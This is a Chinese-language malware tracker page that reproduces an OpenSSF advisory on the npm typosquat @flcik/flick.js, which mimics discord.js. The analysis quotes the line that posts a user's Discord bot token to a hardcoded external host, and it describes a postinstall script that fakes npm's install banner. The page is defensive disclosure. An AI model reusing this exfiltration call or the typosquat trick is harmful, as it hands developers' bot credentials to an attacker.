目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

@flcik/flick.js

MAL-2026-10521
2026-07-14 06:51:39
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in @flcik/flick.js (npm)

凭据/密钥窃取安装阶段执行文件/数据外传
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
3
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npm@flcik/flick.js*
npm@flcik/flick.js3.0.0
npm@flcik/flick.js3.0.1
npm@flcik/flick.js3.0.2
npm@flcik/flick.js3.0.3
npm@flcik/flick.js3.0.4
npm@flcik/flick.js3.1.1
npm@flcik/flick.js3.1.2
npm@flcik/flick.js3.1.3
npm@flcik/flick.js3.1.4
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"modified":"2026-07-14T06:51:39Z","published":"2026-07-14T02:52:19Z","schema_version":"1.7.4","id":"MAL-2026-10521","aliases":["GHSA-f5p8-w3hq-m27h"],"summary":"Malicious code in @flcik/flick.js (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (d31c087b34f156cf2b5ae7070222a57e2d760d68f9c4c73721c2800eb7b6bf62)\n@flcik/flick.js@3.1.2 replicates the discord.js public API surface (FlickClient, GatewayIntentBits, SlashCommandBuilder, ButtonStyle, MessageFlags, the canonical `client.login('YOUR_BOT_TOKEN')` + messageCreate/!ping/Pong! example) but the implementation diverges in one critical place: `client.login()` in flick.js takes the supplied token and POSTs it to a hardcoded author-controlled endpoint. Specifically, flick.js line 1025 issues `await this._rest.post('/api/auth/token', { token: this.token })` against `DEFAULT_BASE_URL='https://flick-xmfx.onrender.com'` (flick.js line 19). Any developer who installs this package mistaking it for discord.js and pastes their Discord bot token into `client.login(...)` ships that token to flick-xmfx.onrender.com on the first call. Several corroborating signals confirm the package is engineered as a credential funnel rather than a real SDK: (1) `package.json` declares `\"main\": \"index.js\"` but no index.js exists in the tarball — the only shipped JS files are flick.js and postinstall.js, so `require('@flcik/flick.js')` throws, indicating the package is not built for library consumption; (2) postinstall.js fabricates a fake npm install summary (`✓ added <count> packages in <secs>s`) padded with 400–1200ms of randomness to imitate npm's own completion banner — social-engineering cover typical of typosquats; (3) the package name `@flcik/flick.js` is a transposition of `flick`/`flick.js` styled to brand-confuse against `discord.js`. Installer harm is direct: Discord bot tokens are bearer credentials granting full control of the bot account (message read/send, server join, user impersonation in the bot's scope).\n\n## Source: ghsa-malware (51632d0a7f14c5e108f4a7f4b1237d1734454aa7a6eecad6fd0bba1de633bb4a)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"ecosystem":"npm","name":"@flcik/flick.js"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["3.1.2","3.0.1","3.1.3","3.1.4","3.0.3","3.0.0","3.0.4","3.1.1","3.0.2"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"flick.js","sha256":"20c1f5cdddfb69cd9c53c19df614d479a33a271a7f0e5d45e87a6134c659f426","tlsh":"65a342b27365203522b2d3abdd22d542fa39b513744640acb66c76de9fed040827efb4"},{"path":"postinstall.js","sha256":"9d8d1faf5457513492a5737d45928e01af57e6ec02bacff28674b54a06dd6772","tlsh":"d831c2413d65a1783d3e9ad3aa12a031222b4d263356f6ce73cc44de2ac7806c46e6fc"},{"path":"package.json","sha256":"5b3b0d8b423b402ec1caaed43902279485b43f01959e69510c957a924d2f9bc2","tlsh":"53112623c3946e371af8a7d5e86a0245f1124f5f50618c0b34f342ac4f7a2a301adb7c"}]}}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-f5p8-w3hq-m27h"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@flcik/flick.js/v/3.1.2"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@flcik/flick.js/v/3.0.1"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@flcik/flick.js/v/3.1.3"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@flcik/flick.js/v/3.1.4"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@flcik/flick.js/v/3.0.3"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@flcik/flick.js/v/3.0.0"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@flcik/flick.js/v/3.0.4"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@flcik/flick.js/v/3.1.1"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@flcik/flick.js/v/3.0.2"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"source":"ghsa-malware","sha256":"51632d0a7f14c5e108f4a7f4b1237d1734454aa7a6eecad6fd0bba1de633bb4a","import_time":"2026-07-14T03:21:41.941208549Z","id":"GHSA-f5p8-w3hq-m27h","modified_time":"2026-07-14T02:52:20Z","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]},{"source":"amazon-inspector","sha256":"d31c087b34f156cf2b5ae7070222a57e2d760d68f9c4c73721c2800eb7b6bf62","import_time":"2026-07-14T05:49:19.491924226Z","id":"IN-MAL-2026-010396","modified_time":"2026-07-14T05:10:44Z","versions":["3.1.2"]},{"source":"amazon-inspector","sha256":"dadb6b48a510a6ba86900c2364867b671fc040765f30d6a8d14da97104d6abd7","import_time":"2026-07-14T05:49:21.477914214Z","id":"IN-MAL-2026-010414","modified_time":"2026-07-14T05:48:33Z","versions":["3.0.1"]},{"source":"amazon-inspector","sha256":"a568656a7b1ce9e8d040fa03a1e8375f2108c1ac249070f2b87c9319088e4dd1","import_time":"2026-07-14T05:49:19.390754799Z","id":"IN-MAL-2026-010395","modified_time":"2026-07-14T05:10:34Z","versions":["3.1.3"]},{"source":"amazon-inspector","sha256":"b5658317b6419d08a529e5181b2e0852f4deec399b5feff0ed058df70649803a","import_time":"2026-07-14T05:49:19.288280299Z","id":"IN-MAL-2026-010394","modified_time":"2026-07-14T05:10:19Z","versions":["3.1.4"]},{"source":"amazon-inspector","sha256":"2778a3148fbde6d712c9d1edd05977157d215dcb4d71dfe731e7b4eadb52bf32","import_time":"2026-07-14T06:49:56.423612943Z","id":"IN-MAL-2026-010470","modified_time":"2026-07-14T05:56:28Z","versions":["3.0.3"]},{"source":"amazon-inspector","sha256":"3f1372aa4deb4efacb6529e462bf48811038963fcc359e425bd1a8c3b5007c02","import_time":"2026-07-14T06:49:56.229928575Z","id":"IN-MAL-2026-010466","modified_time":"2026-07-14T05:55:52Z","versions":["3.0.0"]},{"source":"amazon-inspector","sha256":"405d38b607b7fe74f59e30e37822e3ded52909c431c5d9f472639bb48d814358","import_time":"2026-07-14T06:49:56.305066893Z","id":"IN-MAL-2026-010467","modified_time":"2026-07-14T05:56:02Z","versions":["3.0.4"]},{"source":"amazon-inspector","sha256":"c82eddd7f3b5391395f5899254d55378d9a9315dec5aff8413acd7dd517daddd","import_time":"2026-07-14T06:49:54.289738494Z","id":"IN-MAL-2026-010424","modified_time":"2026-07-14T05:49:54Z","versions":["3.1.1"]},{"source":"amazon-inspector","sha256":"ec3f9ca69484252d7f52c16bdda53455c521f11aa02163ec8e3f38e759dc11b2","import_time":"2026-07-14T06:49:56.186153788Z","id":"IN-MAL-2026-010465","modified_time":"2026-07-14T05:55:42Z","versions":["3.0.2"]}]}}

数据来源:OpenSSF Malicious Packages · Apache-2.0